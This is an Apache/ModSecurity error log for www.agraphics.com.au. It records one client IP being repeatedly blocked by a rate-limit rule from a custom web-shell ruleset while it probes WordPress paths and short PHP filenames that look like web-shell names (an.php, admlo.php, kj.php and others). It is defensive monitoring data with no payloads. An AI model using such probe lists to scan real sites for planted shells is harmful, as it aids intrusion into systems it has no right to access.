[Wed Apr 15 19:17:18.664398 2026] [:error] [pid 31053:tid 31079] [client 172.161.107.89:42882] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9zvhcEkLCmvF0fjDerjQAAAJc"]
[Wed Apr 15 19:17:18.822324 2026] [:error] [pid 31053:tid 31069] [client 172.161.107.89:7726] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9zvhcEkLCmvF0fjDerkAAAAI0"]
[Wed Apr 15 19:17:19.144802 2026] [:error] [pid 30957:tid 31010] [client 172.161.107.89:5505] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9zv35gwVEVXHfVSipwCgAAAFU"]
[Wed Apr 15 19:17:19.309657 2026] [:error] [pid 30957:tid 30993] [client 172.161.107.89:15321] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9zv35gwVEVXHfVSipwDgAAAEQ"]
[Wed Apr 15 19:17:19.714708 2026] [:error] [pid 30956:tid 30971] [client 172.161.107.89:5250] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9zv0BGUpjaWntNYq1gcwAAAAs"]
[Wed Apr 15 19:17:19.813676 2026] [:error] [pid 30958:tid 31031] [client 172.161.107.89:26646] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9zv8eG3wSKTO7NWFGMngAAAM8"]
[Wed Apr 15 19:17:20.218464 2026] [:error] [pid 30956:tid 30980] [client 172.161.107.89:37531] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9zwEBGUpjaWntNYq1gdAAAABQ"]
[Wed Apr 15 19:17:20.308841 2026] [:error] [pid 30956:tid 30966] [client 172.161.107.89:37562] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9zwEBGUpjaWntNYq1gdgAAAAY"]
[Wed Apr 15 19:17:20.729670 2026] [:error] [pid 30958:tid 31036] [client 172.161.107.89:37915] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9zwMeG3wSKTO7NWFGMogAAANQ"]
[Wed Apr 15 19:17:20.857567 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:17957] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9zwHg-gnM2Ga0cGAAEuwAAARU"]
[Wed Apr 15 19:17:21.221644 2026] [:error] [pid 37370:tid 37375] [client 172.161.107.89:17955] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9zwXg-gnM2Ga0cGAAEvAAAAQM"]
[Wed Apr 15 19:17:21.380473 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:26673] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9zwXg-gnM2Ga0cGAAEvQAAARI"]
[Wed Apr 15 19:17:21.773166 2026] [:error] [pid 37370:tid 37389] [client 172.161.107.89:7738] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9zwXg-gnM2Ga0cGAAEvwAAARE"]
[Wed Apr 15 19:17:21.996403 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:31216] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9zwXg-gnM2Ga0cGAAEwgAAAQU"]
[Wed Apr 15 19:17:22.262483 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:15306] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9zwng-gnM2Ga0cGAAExgAAARA"]
[Wed Apr 15 19:17:22.475118 2026] [:error] [pid 31053:tid 31072] [client 172.161.107.89:31171] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9zwhcEkLCmvF0fjDerlQAAAJA"]
[Wed Apr 15 19:17:22.763743 2026] [:error] [pid 30957:tid 30995] [client 172.161.107.89:42940] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9zwn5gwVEVXHfVSipwHAAAAEY"]
[Wed Apr 15 19:17:23.006632 2026] [:error] [pid 30958:tid 31016] [client 172.161.107.89:28222] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9zw8eG3wSKTO7NWFGMowAAAMA"]
[Wed Apr 15 19:17:23.273499 2026] [:error] [pid 30958:tid 31025] [client 172.161.107.89:39286] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9zw8eG3wSKTO7NWFGMpAAAAMk"]
[Wed Apr 15 19:17:23.555856 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:30302] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9zwxcEkLCmvF0fjDermAAAAIg"]
[Wed Apr 15 19:17:23.780339 2026] [:error] [pid 30956:tid 30965] [client 172.161.107.89:8569] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9zw0BGUpjaWntNYq1gegAAAAU"]
[Wed Apr 15 19:17:24.034373 2026] [:error] [pid 30956:tid 30979] [client 172.161.107.89:8570] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9zxEBGUpjaWntNYq1gewAAABM"]
[Wed Apr 15 19:17:24.260132 2026] [:error] [pid 30956:tid 30974] [client 172.161.107.89:25144] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9zxEBGUpjaWntNYq1gfAAAAA4"]
[Wed Apr 15 19:17:24.532513 2026] [:error] [pid 37370:tid 37382] [client 172.161.107.89:7704] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9zxHg-gnM2Ga0cGAAEzQAAAQo"]
[Wed Apr 15 19:17:24.763897 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:25408] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9zxHg-gnM2Ga0cGAAEzwAAAQU"]
[Wed Apr 15 19:17:25.023861 2026] [:error] [pid 37370:tid 37373] [client 172.161.107.89:32970] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9zxXg-gnM2Ga0cGAAE0wAAAQE"]
[Wed Apr 15 19:17:25.241910 2026] [:error] [pid 37370:tid 37392] [client 172.161.107.89:30326] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9zxXg-gnM2Ga0cGAAE1AAAARQ"]
[Wed Apr 15 19:17:25.538599 2026] [:error] [pid 31053:tid 31061] [client 172.161.107.89:42473] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9zxRcEkLCmvF0fjDermgAAAIU"]
[Wed Apr 15 19:17:25.753981 2026] [:error] [pid 31053:tid 31074] [client 172.161.107.89:43591] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9zxRcEkLCmvF0fjDernAAAAJI"]
[Wed Apr 15 19:17:26.038580 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:32991] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9zxng-gnM2Ga0cGAAE2wAAAQU"]
[Wed Apr 15 19:17:26.231285 2026] [:error] [pid 30957:tid 31001] [client 172.161.107.89:28172] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9zxn5gwVEVXHfVSipwIAAAAEw"]
[Wed Apr 15 19:17:26.531463 2026] [:error] [pid 30956:tid 30982] [client 172.161.107.89:48315] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9zxkBGUpjaWntNYq1ggQAAABY"]
[Wed Apr 15 19:17:26.705052 2026] [:error] [pid 31053:tid 31076] [client 172.161.107.89:19180] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9zxhcEkLCmvF0fjDernwAAAJQ"]
[Wed Apr 15 19:17:27.015911 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:26641] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9zxxcEkLCmvF0fjDeroQAAAIg"]
[Wed Apr 15 19:17:27.179118 2026] [:error] [pid 30958:tid 31037] [client 172.161.107.89:20651] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9zx8eG3wSKTO7NWFGMqAAAANU"]
[Wed Apr 15 19:17:27.505087 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:26682] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9zx3g-gnM2Ga0cGAAE3gAAARc"]
[Wed Apr 15 19:17:27.669372 2026] [:error] [pid 30957:tid 31011] [client 172.161.107.89:19136] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9zx35gwVEVXHfVSipwIQAAAFY"]
[Wed Apr 15 19:17:27.980661 2026] [:error] [pid 30958:tid 31033] [client 172.161.107.89:10695] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9zx8eG3wSKTO7NWFGMqQAAANE"]
[Wed Apr 15 19:17:28.148929 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:28273] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9zyBcEkLCmvF0fjDerpQAAAJE"]
[Wed Apr 15 19:17:28.469890 2026] [:error] [pid 37370:tid 37376] [client 172.161.107.89:43590] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9zyHg-gnM2Ga0cGAAE4QAAAQQ"]
[Wed Apr 15 19:17:28.677146 2026] [:error] [pid 31053:tid 31074] [client 172.161.107.89:42893] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9zyBcEkLCmvF0fjDerpwAAAJI"]
[Wed Apr 15 19:17:28.956295 2026] [:error] [pid 30956:tid 30964] [client 172.161.107.89:5269] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9zyEBGUpjaWntNYq1ggwAAAAQ"]
[Wed Apr 15 19:17:29.178348 2026] [:error] [pid 30957:tid 31000] [client 172.161.107.89:37534] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9zyX5gwVEVXHfVSipwIwAAAEs"]
[Wed Apr 15 19:17:29.452574 2026] [:error] [pid 30957:tid 30995] [client 172.161.107.89:25124] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9zyX5gwVEVXHfVSipwJQAAAEY"]
[Wed Apr 15 19:17:29.687411 2026] [:error] [pid 37370:tid 37382] [client 172.161.107.89:32692] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9zyXg-gnM2Ga0cGAAE5AAAAQo"]
[Wed Apr 15 19:17:29.930431 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:5252] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9zyXg-gnM2Ga0cGAAE5wAAAQ4"]
[Wed Apr 15 19:17:30.164890 2026] [:error] [pid 37370:tid 37381] [client 172.161.107.89:13556] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9zyng-gnM2Ga0cGAAE6gAAAQk"]
[Wed Apr 15 19:17:30.422519 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:42433] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9zyng-gnM2Ga0cGAAE6wAAARA"]
[Wed Apr 15 19:17:30.669737 2026] [:error] [pid 37370:tid 37394] [client 172.161.107.89:32657] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9zyng-gnM2Ga0cGAAE7AAAARY"]
[Wed Apr 15 19:17:30.897769 2026] [:error] [pid 37370:tid 37372] [client 172.161.107.89:13555] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9zyng-gnM2Ga0cGAAE7QAAAQA"]
[Wed Apr 15 19:17:31.158847 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:16420] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9zy3g-gnM2Ga0cGAAE8AAAARI"]
[Wed Apr 15 19:17:31.378007 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:16813] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9zy3g-gnM2Ga0cGAAE8gAAAQ4"]
[Wed Apr 15 19:17:31.663517 2026] [:error] [pid 30958:tid 31036] [client 172.161.107.89:16417] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9zy8eG3wSKTO7NWFGMrAAAANQ"]
[Wed Apr 15 19:17:31.865803 2026] [:error] [pid 31053:tid 31077] [client 172.161.107.89:28236] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9zyxcEkLCmvF0fjDerqgAAAJU"]
[Wed Apr 15 19:17:32.153834 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:28484] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9zzHg-gnM2Ga0cGAAE8wAAARA"]
[Wed Apr 15 19:17:32.396580 2026] [:error] [pid 30957:tid 30992] [client 172.161.107.89:43584] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9zzH5gwVEVXHfVSipwJwAAAEM"]
